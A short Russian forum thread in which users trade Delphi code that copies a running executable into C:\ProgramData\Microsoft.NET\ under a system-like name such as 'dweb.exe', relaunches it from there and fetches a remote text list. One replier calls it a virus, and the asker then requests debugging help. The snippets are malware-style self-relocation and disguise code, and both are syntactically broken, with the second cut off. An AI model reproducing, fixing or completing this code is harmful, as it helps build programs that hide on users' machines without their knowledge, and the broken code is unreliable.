проверка пути

[Stilet]

Правильно )
А все потому что ты не хочешь включить моск и хорошенько подумать.

if not FileExists('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))) then
begin
 copyfile(PAnsiChar(Paramstr(0)), PAnsiChar('C:\ProgramData\Microsoft.NET\' +
     ExtractFileName(Paramstr(0))), False);
 ShellExecute(Handle, nil, PAnsiChar('C:\ProgramData\Microsoft.NET\' +
     ExtractFileName(Paramstr(0))), nil, nil, SW_SHOW);
 halt;
else begin
 sl:= TStringList.Create;
    sl.Text:= idhttp1.Get('http://111111111.txt');
    for i:= 0 to sl.Count-1 {??? ??????? ????, ????. 5} do
   (FindComponent('Edit' + IntToStr(i+1)) as TEdit).Text:= sl[i];
 sl.Free;
end;

Рано тебе еще писать такие вирусы.

[mitiay]

Сделал как вы по советовали! Но теперь ShellExecute не работает!4 дня уже голову ломаю помогите!!!

begin
if not FileExists('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))) then
begin
copyfile(PAnsiChar(Paramstr(0)), PAnsiChar('C:\ProgramData\Microsoft.NET\dweb.exe'), False);
ShellExecute(Handle, nil, 'C:\ProgramData\Microsoft.NET\dweb.exe', nil, nil, SW_SHOW);
halt;
end
else begin
 sl:= TStringList.Create;